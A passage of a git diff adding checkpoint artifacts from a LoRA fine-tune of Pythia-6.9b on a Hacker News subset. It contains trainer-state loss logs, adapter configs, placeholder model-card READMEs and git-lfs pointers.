5.037037037037037e-05, + "loss": 2.0745, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6694393157958984, + "eval_runtime": 43.7698, + "eval_samples_per_second": 22.847, + "eval_steps_per_second": 2.856, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9536994695663452, + "learning_rate": 4.918518518518519e-05, + "loss": 2.1134, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6763100624084473, + "eval_runtime": 43.7663, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.7951068878173828, + "learning_rate": 4.8e-05, + "loss": 2.0425, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6728081703186035, + "eval_runtime": 43.7651, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.907662272453308, + "learning_rate": 4.681481481481481e-05, + "loss": 2.0904, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6812336444854736, + "eval_runtime": 43.8021, + "eval_samples_per_second": 22.83, + "eval_steps_per_second": 2.854, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9190585613250732, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.1202, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.6716649532318115, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 290 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 4.75196087599104e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..4765c558c46c981e55aae03b4885912971aff991 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:699cbf4b83bb0fd28a91cbbf14ed08dec0e7a7e30da9f817185b4b38946aeccc +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..fcc411fef0c32426f583f859f34fdda76f434c67 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:fd85167899cbbeac1036907cb1c9ca66db2622b41f979164895db84569e1c12b +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..76ee62462f7b8b87edaf24539d12d81995c70164 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:3a5478e4e53ebdf948038ed344f6e976416991ec94630cb094a18d5adf7aae7a +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..8e3204abc81bf616d4220ccab7f0f13520ce949e --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:19debbf018dbf40b240b0a2ef65d5d10de2fa92e61c8838b0319c8c96ad962cd +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..ccb4fdb7141076b5e2b743199dc5860434106df1 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/trainer_state.json @@ -0,0 +1,78 @@ +{ + "best_metric": 2.5399742126464844, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30", + "epoch": 0.4, + "eval_steps": 10, + "global_step": 30, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 4915821595852800.0, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..07e8d23e45d8bc8874eaefb468620f2da0d6106c --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:c0e6cf92e4880028eca37b45d5b33939ca6766d2d8ca894fa5fb4a10936b8b6e +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..58ebea885ce16ec5f49df18b5295c4d5ab3925b4 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:e13acffab51c131521210b88024b0fc3826361469b758caab38b0d17c51daecd +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..4d8ba268ef07796e970a23442889935701a1dda5 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:2574c6149307e492ef05d2031918a546356cc654f4671c817f05ae6d0764de7f +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..8640fdd49a163110aee721e1510c7d552b4242d7 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:30336c219d20749546325363bfa0b5ee5e9d4b073a303024ff3ad347834b8c13 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..9f6d7ee49729ef35c46382297d1b9e4f953ffa70 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/trainer_state.json @@ -0,0 +1,483 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 4.0, + "eval_steps": 10, + "global_step": 300, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + 